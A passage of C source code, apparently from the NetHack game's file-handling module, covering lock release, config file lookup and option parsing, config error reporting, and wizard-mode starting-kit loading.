(%d retries left).", filename, retryct); Delay(50); } } if (!retryct) { raw_printf("I give up. Sorry."); nesting--; return FALSE; } #endif /* AMIGA || WIN32 || MSDOS */ return TRUE; } #ifdef VMS /* for unlock_file, use the unlink() routine in vmsunix.c */ #ifdef unlink #undef unlink #endif #define unlink(foo) vms_unlink(foo) #endif /* unlock file, which must be currently locked by lock_file */ void unlock_file(filename) const char *filename; { #ifndef USE_FCNTL char locknambuf[BUFSZ]; const char *lockname; #endif if (nesting == 1) { #ifdef USE_FCNTL sflock.l_type = F_UNLCK; if (lockfd >= 0) { if (fcntl(lockfd, F_SETLK, &sflock) == -1) HUP raw_printf("Can't remove fcntl lock on %s.", filename); (void) close(lockfd), lockfd = -1; } #else lockname = make_lockname(filename, locknambuf); #ifndef NO_FILE_LINKS /* LOCKDIR should be subsumed by LOCKPREFIX */ lockname = fqname(lockname, LOCKPREFIX, 2); #endif #if defined(UNIX) || defined(VMS) if (unlink(lockname) < 0) HUP raw_printf("Can't unlink %s.", lockname); #ifdef NO_FILE_LINKS (void) nhclose(lockfd), lockfd = -1; #endif #endif /* UNIX || VMS */ #if defined(AMIGA) || defined(WIN32) || defined(MSDOS) if (lockptr) Close(lockptr); DeleteFile(lockname); lockptr = 0; #endif /* AMIGA || WIN32 || MSDOS */ #endif /* USE_FCNTL */ } nesting--; } /* ---------- END FILE LOCKING HANDLING ----------- */ /* ---------- BEGIN CONFIG FILE HANDLING ----------- */ const char *default_configfile = #ifdef UNIX ".nethackrc"; #else #if defined(MAC) || defined(__BEOS__) "NetHack Defaults"; #else #if defined(MSDOS) || defined(WIN32) CONFIG_FILE; #else "NetHack.cnf"; #endif #endif #endif /* used for messaging */ char configfile[BUFSZ]; #ifdef MSDOS /* conflict with speed-dial under windows * for XXX.cnf file so support of NetHack.cnf * is for backward compatibility only. * Preferred name (and first tried) is now defaults.nh but * the game will try the old name if there * is no defaults.nh. */ const char *backward_compat_configfile = "nethack.cnf"; #endif /* remember the name of the file we're accessing; if may be used in option reject messages */ STATIC_OVL void set_configfile_name(fname) const char *fname; { (void) strncpy(configfile, fname, sizeof configfile - 1); configfile[sizeof configfile - 1] = '\0'; } #ifndef MFLOPPY #define fopenp fopen #endif STATIC_OVL FILE * fopen_config_file(filename, src) const char *filename; int src; { FILE *fp; #if defined(UNIX) || defined(VMS) char tmp_config[BUFSZ]; char *envp; #endif if (src == SET_IN_SYS) { /* SYSCF_FILE; if we can't open it, caller will bail */ if (filename && *filename) { set_configfile_name(fqname(filename, SYSCONFPREFIX, 0)); fp = fopenp(configfile, "r"); } else fp = (FILE *) 0; return fp; } /* If src != SET_IN_SYS, "filename" is an environment variable, so it * should hang around. If set, it is expected to be a full path name * (if relevant) */ if (filename && *filename) { set_configfile_name(filename); #ifdef UNIX if (access(configfile, 4) == -1) { /* 4 is R_OK on newer systems */ /* nasty sneaky attempt to read file through * NetHack's setuid permissions -- this is the only * place a file name may be wholly under the player's * control (but SYSCF_FILE is not under the player's * control so it's OK). */ raw_printf("Access to %s denied (%d).", configfile, errno); wait_synch(); /* fall through to standard names */ } else #endif if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; #if defined(UNIX) || defined(VMS) } else { /* access() above probably caught most problems for UNIX */ raw_printf("Couldn't open requested config file %s (%d).", configfile, errno); wait_synch(); #endif } } /* fall through to standard names */ #if defined(MICRO) || defined(MAC) || defined(__BEOS__) || defined(WIN32) set_configfile_name(fqname(default_configfile, CONFIGPREFIX, 0)); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; } else if (strcmp(default_configfile, configfile)) { set_configfile_name(default_configfile); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #ifdef MSDOS set_configfile_name(fqname(backward_compat_configfile, CONFIGPREFIX, 0)); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; } else if (strcmp(backward_compat_configfile, configfile)) { set_configfile_name(backward_compat_configfile); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #endif #else /* constructed full path names don't need fqname() */ #ifdef VMS /* no punctuation, so might be a logical name */ set_configfile_name("nethackini"); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; set_configfile_name("sys$login:nethack.ini"); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; envp = nh_getenv("HOME"); if (!envp || !*envp) Strcpy(tmp_config, "NetHack.cnf"); else Sprintf(tmp_config, "%s%s%s", envp, !index(":]>/", envp[strlen(envp) - 1]) ? "/" : "", "NetHack.cnf"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; #else /* should be only UNIX left */ envp = nh_getenv("HOME"); if (!envp) Strcpy(tmp_config, ".nethackrc"); else Sprintf(tmp_config, "%s/%s", envp, ".nethackrc"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; #if defined(__APPLE__) /* UNIX+__APPLE__ => MacOSX */ /* try an alternative */ if (envp) { /* OSX-style configuration settings */ Sprintf(tmp_config, "%s/%s", envp, "Library/Preferences/NetHack Defaults"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; /* may be easier for user to edit if filename has '.txt' suffix */ Sprintf(tmp_config, "%s/%s", envp, "Library/Preferences/NetHack Defaults.txt"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #endif /*__APPLE__*/ if (errno != ENOENT) { const char *details; /* e.g., problems when setuid NetHack can't search home directory restricted to user */ #if defined(NHSTDC) && !defined(NOTSTDC) if ((details = strerror(errno)) == 0) #endif details = ""; raw_printf("Couldn't open default config file %s %s(%d).", configfile, details, errno); wait_synch(); } #endif /* !VMS => Unix */ #endif /* !(MICRO || MAC || __BEOS__ || WIN32) */ return (FILE *) 0; } /* * Retrieve a list of integers from buf into a uchar array. * * NOTE: zeros are inserted unless modlist is TRUE, in which case the list * location is unchanged. Callers must handle zeros if modlist is FALSE. */ STATIC_OVL int get_uchars(bufp, list, modlist, size, name) char *bufp; /* current pointer */ uchar *list; /* return list */ boolean modlist; /* TRUE: list is being modified in place */ int size; /* return list size */ const char *name; /* name of option for error message */ { unsigned int num = 0; int count = 0; boolean havenum = FALSE; while (1) { switch (*bufp) { case ' ': case '\0': case '\t': case '\n': if (havenum) { /* if modifying in place, don't insert zeros */ if (num || !modlist) list[count] = num; count++; num = 0; havenum = FALSE; } if (count == size || !*bufp) return count; bufp++; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': havenum = TRUE; num = num * 10 + (*bufp - '0'); bufp++; break; case '\\': goto gi_error; break; default: gi_error: raw_printf("Syntax error in %s", name); wait_synch(); return count; } } /*NOTREACHED*/ } #ifdef NOCWD_ASSUMPTIONS STATIC_OVL void adjust_prefix(bufp, prefixid) char *bufp; int prefixid; { char *ptr; if (!bufp) return; #ifdef WIN32 if (fqn_prefix_locked[prefixid]) return; #endif /* Backward compatibility, ignore trailing ;n */ if ((ptr = index(bufp, ';')) != 0) *ptr = '\0'; if (strlen(bufp) > 0) { fqn_prefix[prefixid] = (char *) alloc(strlen(bufp) + 2); Strcpy(fqn_prefix[prefixid], bufp); append_slash(fqn_prefix[prefixid]); } } #endif /* Choose at random one of the sep separated parts from str. Mangles str. */ STATIC_OVL char * choose_random_part(str,sep) char *str; char sep; { int nsep = 1; int csep; int len = 0; char *begin = str; if (!str) return (char *) 0; while (*str) { if (*str == sep) nsep++; str++; } csep = rn2(nsep); str = begin; while ((csep > 0) && *str) { str++; if (*str == sep) csep--; } if (*str) { if (*str == sep) str++; begin = str; while (*str && *str != sep) { str++; len++; } *str = '\0'; if (len) return begin; } return (char *) 0; } STATIC_OVL void free_config_sections() { if (config_section_chosen) { free(config_section_chosen); config_section_chosen = NULL; } if (config_section_current) { free(config_section_current); config_section_current = NULL; } } STATIC_OVL boolean is_config_section(str) const char *str; { const char *a = rindex(str, ']'); return (a && *str == '[' && *(a+1) == '\0' && (int)(a - str) > 0); } STATIC_OVL boolean handle_config_section(buf) char *buf; { if (is_config_section(buf)) { char *send; if (config_section_current) { free(config_section_current); } config_section_current = dupstr(&buf[1]); send = rindex(config_section_current, ']'); *send = '\0'; debugpline1("set config section: '%s'", config_section_current); return TRUE; } if (config_section_current) { if (!config_section_chosen) return TRUE; if (strcmp(config_section_current, config_section_chosen)) return TRUE; } return FALSE; } #define match_varname(INP, NAM, LEN) match_optname(INP, NAM, LEN, TRUE) /* find the '=' or ':' */ char * find_optparam(buf) const char *buf; { char *bufp, *altp; bufp = index(buf, '='); altp = index(buf, ':'); if (!bufp || (altp && altp < bufp)) bufp = altp; return bufp; } boolean parse_config_line(origbuf) char *origbuf; { #if defined(MICRO) && !defined(NOCWD_ASSUMPTIONS) static boolean ramdisk_specified = FALSE; #endif #ifdef SYSCF int n, src = iflags.parse_config_file_src; #endif char *bufp, buf[4 * BUFSZ]; uchar translate[MAXPCHARS]; int len; boolean retval = TRUE; /* convert any tab to space, condense consecutive spaces into one, remove leading and trailing spaces (exception: if there is nothing but spaces, one of them will be kept even though it leads/trails) */ mungspaces(strcpy(buf, origbuf)); /* find the '=' or ':' */ bufp = find_optparam(buf); if (!bufp) { config_error_add("Not a config statement, missing '='"); return FALSE; } /* skip past '=', then space between it and value, if any */ ++bufp; if (*bufp == ' ') ++bufp; /* Go through possible variables */ /* some of these (at least LEVELS and SAVE) should now set the * appropriate fqn_prefix[] rather than specialized variables */ if (match_varname(buf, "OPTIONS", 4)) { /* hack: un-mungspaces to allow consecutive spaces in general options until we verify that this is unnecessary; '=' or ':' is guaranteed to be present */ bufp = find_optparam(origbuf); ++bufp; /* skip '='; parseoptions() handles spaces */ if (!parseoptions(bufp, TRUE, TRUE)) retval = FALSE; } else if (match_varname(buf, "AUTOPICKUP_EXCEPTION", 5)) { add_autopickup_exception(bufp); } else if (match_varname(buf, "BINDINGS", 4)) { if (!parsebindings(bufp)) retval = FALSE; } else if (match_varname(buf, "AUTOCOMPLETE", 5)) { parseautocomplete(bufp, TRUE); } else if (match_varname(buf, "MSGTYPE", 7)) { if (!msgtype_parse_add(bufp)) retval = FALSE; #ifdef NOCWD_ASSUMPTIONS } else if (match_varname(buf, "HACKDIR", 4)) { adjust_prefix(bufp, HACKPREFIX); } else if (match_varname(buf, "LEVELDIR", 4) || match_varname(buf, "LEVELS", 4)) { adjust_prefix(bufp, LEVELPREFIX); } else if (match_varname(buf, "SAVEDIR", 4)) { adjust_prefix(bufp, SAVEPREFIX); } else if (match_varname(buf, "BONESDIR", 5)) { adjust_prefix(bufp, BONESPREFIX); } else if (match_varname(buf, "DATADIR", 4)) { adjust_prefix(bufp, DATAPREFIX); } else if (match_varname(buf, "SCOREDIR", 4)) { adjust_prefix(bufp, SCOREPREFIX); } else if (match_varname(buf, "LOCKDIR", 4)) { adjust_prefix(bufp, LOCKPREFIX); } else if (match_varname(buf, "CONFIGDIR", 4)) { adjust_prefix(bufp, CONFIGPREFIX); } else if (match_varname(buf, "TROUBLEDIR", 4)) { adjust_prefix(bufp, TROUBLEPREFIX); #else /*NOCWD_ASSUMPTIONS*/ #ifdef MICRO } else if (match_varname(buf, "HACKDIR", 4)) { (void) strncpy(hackdir, bufp, PATHLEN - 1); #ifdef MFLOPPY } else if (match_varname(buf, "RAMDISK", 3)) { /* The following ifdef is NOT in the wrong * place. For now, we accept and silently * ignore RAMDISK */ #ifndef AMIGA if (strlen(bufp) >= PATHLEN) bufp[PATHLEN - 1] = '\0'; Strcpy(levels, bufp); ramdisk = (strcmp(permbones, levels) != 0); ramdisk_specified = TRUE; #endif #endif } else if (match_varname(buf, "LEVELS", 4)) { if (strlen(bufp) >= PATHLEN) bufp[PATHLEN - 1] = '\0'; Strcpy(permbones, bufp); if (!ramdisk_specified || !*levels) Strcpy(levels, bufp); ramdisk = (strcmp(permbones, levels) != 0); } else if (match_varname(buf, "SAVE", 4)) { #ifdef MFLOPPY extern int saveprompt; #endif char *ptr; if ((ptr = index(bufp, ';')) != 0) { *ptr = '\0'; #ifdef MFLOPPY if (*(ptr + 1) == 'n' || *(ptr + 1) == 'N') { saveprompt = FALSE; } #endif } #if defined(SYSFLAGS) && defined(MFLOPPY) else saveprompt = sysflags.asksavedisk; #endif (void) strncpy(SAVEP, bufp, SAVESIZE - 1); append_slash(SAVEP); #endif /* MICRO */ #endif /*NOCWD_ASSUMPTIONS*/ } else if (match_varname(buf, "NAME", 4)) { (void) strncpy(plname, bufp, PL_NSIZ - 1); } else if (match_varname(buf, "ROLE", 4) || match_varname(buf, "CHARACTER", 4)) { if ((len = str2role(bufp)) >= 0) flags.initrole = len; } else if (match_varname(buf, "DOGNAME", 3)) { (void) strncpy(dogname, bufp, PL_PSIZ - 1); } else if (match_varname(buf, "CATNAME", 3)) { (void) strncpy(catname, bufp, PL_PSIZ - 1); #ifdef SYSCF } else if (src == SET_IN_SYS && match_varname(buf, "WIZARDS", 7)) { if (sysopt.wizards) free((genericptr_t) sysopt.wizards); sysopt.wizards = dupstr(bufp); if (strlen(sysopt.wizards) && strcmp(sysopt.wizards, "*")) { /* pre-format WIZARDS list now; it's displayed during a panic and since that panic might be due to running out of memory, we don't want to risk attempting to allocate any memory then */ if (sysopt.fmtd_wizard_list) free((genericptr_t) sysopt.fmtd_wizard_list); sysopt.fmtd_wizard_list = build_english_list(sysopt.wizards); } } else if (src == SET_IN_SYS && match_varname(buf, "SHELLERS", 8)) { if (sysopt.shellers) free((genericptr_t) sysopt.shellers); sysopt.shellers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "EXPLORERS", 7)) { if (sysopt.explorers) free((genericptr_t) sysopt.explorers); sysopt.explorers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "DEBUGFILES", 5)) { /* if showdebug() has already been called (perhaps we've added some debugpline() calls to option processing) and has found a value for getenv("DEBUGFILES"), don't override that */ if (sysopt.env_dbgfl <= 0) { if (sysopt.debugfiles) free((genericptr_t) sysopt.debugfiles); sysopt.debugfiles = dupstr(bufp); } } else if (src == SET_IN_SYS && match_varname(buf, "DUMPLOGFILE", 7)) { #ifdef DUMPLOG if (sysopt.dumplogfile) free((genericptr_t) sysopt.dumplogfile); sysopt.dumplogfile = dupstr(bufp); #endif #ifdef WIN32 } else if (src == SET_IN_SYS && match_varname(buf, "portable_device_top", 8)) { if (sysopt.portable_device_top) free((genericptr_t) sysopt.portable_device_top); sysopt.portable_device_top = dupstr(bufp); #endif } else if (src == SET_IN_SYS && match_varname(buf, "GENERICUSERS", 12)) { if (sysopt.genericusers) free((genericptr_t) sysopt.genericusers); sysopt.genericusers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "BONES_POOLS", 10)) { /* max value of 10 guarantees (N % bones.pools) will be one digit so we don't lose control of the length of bones file names */ n = atoi(bufp); sysopt.bones_pools = (n <= 0) ? 0 : min(n, 10); /* note: right now bones_pools==0 is the same as bones_pools==1, but we could change that and make bones_pools==0 become an indicator to suppress bones usage altogether */ } else if (src == SET_IN_SYS && match_varname(buf, "SUPPORT", 7)) { if (sysopt.support) free((genericptr_t) sysopt.support); sysopt.support = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "RECOVER", 7)) { if (sysopt.recover) free((genericptr_t) sysopt.recover); sysopt.recover = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "CHECK_SAVE_UID", 14)) { n = atoi(bufp); sysopt.check_save_uid = n; } else if (src == SET_IN_SYS && match_varname(buf, "CHECK_PLNAME", 12)) { n = atoi(bufp); sysopt.check_plname = n; } else if (match_varname(buf, "SEDUCE", 6)) { n = !!atoi(bufp); /* XXX this could be tighter */ /* allow anyone to turn it off, but only sysconf to turn it on*/ if (src != SET_IN_SYS && n != 0) { config_error_add("Illegal value in SEDUCE"); return FALSE; } sysopt.seduce = n; sysopt_seduce_set(sysopt.seduce); } else if (src == SET_IN_SYS && match_varname(buf, "MAXPLAYERS", 10)) { n = atoi(bufp); /* XXX to get more than 25, need to rewrite all lock code */ if (n < 0 || n > 25) { config_error_add("Illegal value in MAXPLAYERS (maximum is 25)."); return FALSE; } sysopt.maxplayers = n; } else if (src == SET_IN_SYS && match_varname(buf, "PERSMAX", 7)) { n = atoi(bufp); if (n < 1) { config_error_add("Illegal value in PERSMAX (minimum is 1)."); return FALSE; } sysopt.persmax = n; } else if (src == SET_IN_SYS && match_varname(buf, "PERS_IS_UID", 11)) { n = atoi(bufp); if (n != 0 && n != 1) { config_error_add("Illegal value in PERS_IS_UID (must be 0 or 1)."); return FALSE; } sysopt.pers_is_uid = n; } else if (src == SET_IN_SYS && match_varname(buf, "ENTRYMAX", 8)) { n = atoi(bufp); if (n < 10) { config_error_add("Illegal value in ENTRYMAX (minimum is 10)."); return FALSE; } sysopt.entrymax = n; } else if ((src == SET_IN_SYS) && match_varname(buf, "POINTSMIN", 9)) { n = atoi(bufp); if (n < 1) { config_error_add("Illegal value in POINTSMIN (minimum is 1)."); return FALSE; } sysopt.pointsmin = n; } else if (src == SET_IN_SYS && match_varname(buf, "MAX_STATUENAME_RANK", 10)) { n = atoi(bufp); if (n < 1) { config_error_add( "Illegal value in MAX_STATUENAME_RANK (minimum is 1)."); return FALSE; } sysopt.tt_oname_maxrank = n; /* SYSCF PANICTRACE options */ } else if (src == SET_IN_SYS && match_varname(buf, "PANICTRACE_LIBC", 15)) { n = atoi(bufp); #if defined(PANICTRACE) && defined(PANICTRACE_LIBC) if (n < 0 || n > 2) { config_error_add("Illegal value in PANICTRACE_LIBC (not 0,1,2)."); return FALSE; } #endif sysopt.panictrace_libc = n; } else if (src == SET_IN_SYS && match_varname(buf, "PANICTRACE_GDB", 14)) { n = atoi(bufp); #if defined(PANICTRACE) if (n < 0 || n > 2) { config_error_add("Illegal value in PANICTRACE_GDB (not 0,1,2)."); return FALSE; } #endif sysopt.panictrace_gdb = n; } else if (src == SET_IN_SYS && match_varname(buf, "GDBPATH", 7)) { #if defined(PANICTRACE) && !defined(VMS) if (!file_exists(bufp)) { config_error_add("File specified in GDBPATH does not exist."); return FALSE; } #endif if (sysopt.gdbpath) free((genericptr_t) sysopt.gdbpath); sysopt.gdbpath = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "GREPPATH", 7)) { #if defined(PANICTRACE) && !defined(VMS) if (!file_exists(bufp)) { config_error_add("File specified in GREPPATH does not exist."); return FALSE; } #endif if (sysopt.greppath) free((genericptr_t) sysopt.greppath); sysopt.greppath = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "ACCESSIBILITY", 13)) { n = atoi(bufp); if (n < 0 || n > 1) { config_error_add("Illegal value in ACCESSIBILITY (not 0,1)."); return FALSE; } sysopt.accessibility = n; #endif /* SYSCF */ } else if (match_varname(buf, "BOULDER", 3)) { (void) get_uchars(bufp, &ov_primary_syms[SYM_BOULDER + SYM_OFF_X], TRUE, 1, "BOULDER"); } else if (match_varname(buf, "MENUCOLOR", 9)) { if (!add_menu_coloring(bufp)) retval = FALSE; } else if (match_varname(buf, "HILITE_STATUS", 6)) { #ifdef STATUS_HILITES if (!parse_status_hl1(bufp, TRUE)) retval = FALSE; #endif } else if (match_varname(buf, "WARNINGS", 5)) { (void) get_uchars(bufp, translate, FALSE, WARNCOUNT, "WARNINGS"); assign_warnings(translate); } else if (match_varname(buf, "ROGUESYMBOLS", 4)) { if (!parsesymbols(bufp, ROGUESET)) { config_error_add("Error in ROGUESYMBOLS definition '%s'", bufp); retval = FALSE; } switch_symbols(TRUE); } else if (match_varname(buf, "SYMBOLS", 4)) { if (!parsesymbols(bufp, PRIMARY)) { config_error_add("Error in SYMBOLS definition '%s'", bufp); retval = FALSE; } switch_symbols(TRUE); } else if (match_varname(buf, "WIZKIT", 6)) { (void) strncpy(wizkit, bufp, WIZKIT_MAX - 1); #ifdef AMIGA } else if (match_varname(buf, "FONT", 4)) { char *t; if (t = strchr(buf + 5, ':')) { *t = 0; amii_set_text_font(buf + 5, atoi(t + 1)); *t = ':'; } } else if (match_varname(buf, "PATH", 4)) { (void) strncpy(PATH, bufp, PATHLEN - 1); } else if (match_varname(buf, "DEPTH", 5)) { extern int amii_numcolors; int val = atoi(bufp); amii_numcolors = 1L << min(DEPTH, val); #ifdef SYSFLAGS } else if (match_varname(buf, "DRIPENS", 7)) { int i, val; char *t; for (i = 0, t = strtok(bufp, ",/"); t != (char *) 0; i < 20 && (t = strtok((char *) 0, ",/")), ++i) { sscanf(t, "%d", &val); sysflags.amii_dripens[i] = val; } #endif } else if (match_varname(buf, "SCREENMODE", 10)) { extern long amii_scrnmode; if (!stricmp(bufp, "req")) amii_scrnmode = 0xffffffff; /* Requester */ else if (sscanf(bufp, "%x", &amii_scrnmode) != 1) amii_scrnmode = 0; } else if (match_varname(buf, "MSGPENS", 7)) { extern int amii_msgAPen, amii_msgBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_msgAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_msgBPen); } } else if (match_varname(buf, "TEXTPENS", 8)) { extern int amii_textAPen, amii_textBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_textAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_textBPen); } } else if (match_varname(buf, "MENUPENS", 8)) { extern int amii_menuAPen, amii_menuBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_menuAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_menuBPen); } } else if (match_varname(buf, "STATUSPENS", 10)) { extern int amii_statAPen, amii_statBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_statAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_statBPen); } } else if (match_varname(buf, "OTHERPENS", 9)) { extern int amii_otherAPen, amii_otherBPen; char *t = strtok(bufp, ",/"); if (t) { sscanf(t, "%d", &amii_otherAPen); if (t = strtok((char *) 0, ",/")) sscanf(t, "%d", &amii_otherBPen); } } else if (match_varname(buf, "PENS", 4)) { extern unsigned short amii_init_map[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%hx", &amii_init_map[i]); } amii_setpens(amii_numcolors = i); } else if (match_varname(buf, "FGPENS", 6)) { extern int foreg[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%d", &foreg[i]); } } else if (match_varname(buf, "BGPENS", 6)) { extern int backg[AMII_MAXCOLORS]; int i; char *t; for (i = 0, t = strtok(bufp, ",/"); i < AMII_MAXCOLORS && t != (char *) 0; t = strtok((char *) 0, ",/"), ++i) { sscanf(t, "%d", &backg[i]); } #endif /*AMIGA*/ #ifdef USER_SOUNDS } else if (match_varname(buf, "SOUNDDIR", 8)) { sounddir = dupstr(bufp); } else if (match_varname(buf, "SOUND", 5)) { add_sound_mapping(bufp); #endif } else if (match_varname(buf, "QT_TILEWIDTH", 12)) { #ifdef QT_GRAPHICS extern char *qt_tilewidth; if (qt_tilewidth == NULL) qt_tilewidth = dupstr(bufp); #endif } else if (match_varname(buf, "QT_TILEHEIGHT", 13)) { #ifdef QT_GRAPHICS extern char *qt_tileheight; if (qt_tileheight == NULL) qt_tileheight = dupstr(bufp); #endif } else if (match_varname(buf, "QT_FONTSIZE", 11)) { #ifdef QT_GRAPHICS extern char *qt_fontsize; if (qt_fontsize == NULL) qt_fontsize = dupstr(bufp); #endif } else if (match_varname(buf, "QT_COMPACT", 10)) { #ifdef QT_GRAPHICS extern int qt_compact_mode; qt_compact_mode = atoi(bufp); #endif } else { config_error_add("Unknown config statement"); return FALSE; } return retval; } #ifdef USER_SOUNDS boolean can_read_file(filename) const char *filename; { return (boolean) (access(filename, 4) == 0); } #endif /* USER_SOUNDS */ struct _config_error_frame { int line_num; int num_errors; boolean origline_shown; boolean fromfile; boolean secure; char origline[4 * BUFSZ]; char source[BUFSZ]; struct _config_error_frame *next; }; static struct _config_error_frame *config_error_data = 0; void config_error_init(from_file, sourcename, secure) boolean from_file; const char *sourcename; boolean secure; { struct _config_error_frame *tmp = (struct _config_error_frame *) alloc(sizeof (struct _config_error_frame)); tmp->line_num = 0; tmp->num_errors = 0; tmp->origline_shown = FALSE; tmp->fromfile = from_file; tmp->secure = secure; tmp->origline[0] = '\0'; if (sourcename && sourcename[0]) { (void) strncpy(tmp->source, sourcename, sizeof (tmp->source) - 1); tmp->source[sizeof (tmp->source) - 1] = '\0'; } else tmp->source[0] = '\0'; tmp->next = config_error_data; config_error_data = tmp; } STATIC_OVL boolean config_error_nextline(line) const char *line; { struct _config_error_frame *ced = config_error_data; if (!ced) return FALSE; if (ced->num_errors && ced->secure) return FALSE; ced->line_num++; ced->origline_shown = FALSE; if (line && line[0]) { (void) strncpy(ced->origline, line, sizeof (ced->origline) - 1); ced->origline[sizeof (ced->origline) - 1] = '\0'; } else ced->origline[0] = '\0'; return TRUE; } /* varargs 'config_error_add()' moved to pline.c */ void config_erradd(buf) const char *buf; { char lineno[QBUFSZ]; if (!buf || !*buf) buf = "Unknown error"; if (!config_error_data) { /* either very early, where pline() will use raw_print(), or player gave bad value when prompted by interactive 'O' command */ pline("%s%s.", !iflags.window_inited ? "config_error_add: " : "", buf); wait_synch(); return; } config_error_data->num_errors++; if (!config_error_data->origline_shown && !config_error_data->secure) { pline("\n%s", config_error_data->origline); config_error_data->origline_shown = TRUE; } if (config_error_data->line_num > 0 && !config_error_data->secure) { Sprintf(lineno, "Line %d: ", config_error_data->line_num); } else lineno[0] = '\0'; pline("%s %s%s.", config_error_data->secure ? "Error:" : " *", lineno, buf); } int config_error_done() { int n; struct _config_error_frame *tmp = config_error_data; if (!config_error_data) return 0; n = config_error_data->num_errors; if (n) { pline("\n%d error%s in %s.\n", n, (n > 1) ? "s" : "", *config_error_data->source ? config_error_data->source : configfile); wait_synch(); } config_error_data = tmp->next; free(tmp); return n; } boolean read_config_file(filename, src) const char *filename; int src; { FILE *fp; boolean rv = TRUE; if (!(fp = fopen_config_file(filename, src))) return FALSE; /* begin detection of duplicate configfile options */ set_duplicate_opt_detection(1); free_config_sections(); iflags.parse_config_file_src = src; rv = parse_conf_file(fp, parse_config_line); (void) fclose(fp); free_config_sections(); /* turn off detection of duplicate configfile options */ set_duplicate_opt_detection(0); return rv; } STATIC_OVL FILE * fopen_wizkit_file() { FILE *fp; #if defined(VMS) || defined(UNIX) char tmp_wizkit[BUFSZ]; #endif char *envp; envp = nh_getenv("WIZKIT"); if (envp && *envp) (void) strncpy(wizkit, envp, WIZKIT_MAX - 1); if (!wizkit[0]) return (FILE *) 0; #ifdef UNIX if (access(wizkit, 4) == -1) { /* 4 is R_OK on newer systems */ /* nasty sneaky attempt to read file through * NetHack's setuid permissions -- this is a * place a file name may be wholly under the player's * control */ raw_printf("Access to %s denied (%d).", wizkit, errno); wait_synch(); /* fall through to standard names */ } else #endif if ((fp = fopenp(wizkit, "r")) != (FILE *) 0) { return fp; #if defined(UNIX) || defined(VMS) } else { /* access() above probably caught most problems for UNIX */ raw_printf("Couldn't open requested config file %s (%d).", wizkit, errno); wait_synch(); #endif } #if defined(MICRO) || defined(MAC) || defined(__BEOS__) || defined(WIN32) if ((fp = fopenp(fqname(wizkit, CONFIGPREFIX, 0), "r")) != (FILE *) 0) return fp; #else #ifdef VMS envp = nh_getenv("HOME"); if (envp) Sprintf(tmp_wizkit, "%s%s", envp, wizkit); else Sprintf(tmp_wizkit, "%s%s", "sys$login:", wizkit); if ((fp = fopenp(tmp_wizkit, "r")) != (FILE *) 0) return fp; #else /* should be only UNIX left */ envp = nh_getenv("HOME"); if (envp) Sprintf(tmp_wizkit, "%s/%s", envp, wizkit); else Strcpy(tmp_wizkit, wizkit); if ((fp = fopenp(tmp_wizkit, "r")) != (FILE *) 0) return fp; else if (errno != ENOENT) { /* e.g., problems when setuid NetHack can't search home * directory restricted to user */ raw_printf("Couldn't open default wizkit file %s (%d).", tmp_wizkit, errno); wait_synch(); } #endif #endif return (FILE *) 0; } /* add to hero's inventory if there's room, otherwise put item on floor */ STATIC_DCL void wizkit_addinv(obj) struct obj *obj; { if (!obj || obj == &zeroobj) return; /* subset of starting inventory pre-ID */ obj->dknown = 1; if (Role_if(PM_PRIEST)) obj->bknown = 1; /* ok to bypass set_bknown() */ /* same criteria as lift_object()'s check for available inventory slot */ if (obj->oclass != COIN_CLASS && inv_cnt(FALSE) >= 52 && !merge_choice(invent, obj)) { /* inventory overflow; can't just place & stack object since hero isn't in position yet, so schedule for arrival later */ add_to_migration(obj); obj->ox = 0; /* index of main dungeon */ obj->oy = 1; /* starting level number */ obj->owornmask = (long) (MIGR_WITH_HERO | MIGR_NOBREAK | MIGR_NOSCATTER); } else { (void) addinv(obj); } } boolean proc_wizkit_line(buf) char *buf; { struct obj *otmp = readobjnam(buf, (struct obj *) 0); if (otmp) { if (otmp != &zeroobj) wizkit_addinv(otmp); } else { /* .60 limits output line width to 79 chars */ config_error_add("Bad wizkit item: \"%.60s\"", buf); return FALSE; } return TRUE; } void read_wizkit() { FILE *fp; if (!wizard || !(fp = fopen_wizkit_file())) return; program_state.wizkit_wishing = 1; config_error_init(TRUE, "WIZKIT", FALSE); parse_conf_file(fp, proc_wizkit_line); (void) fclose(fp); config_error_done(); program_state.wizkit_wishing = 0; return; } /* parse_conf_file * * Read from file fp, handling comments, empty lines, config sections, * CHOOSE, and line continuation, calling proc for every valid line. * * Continued lines are merged together with one space 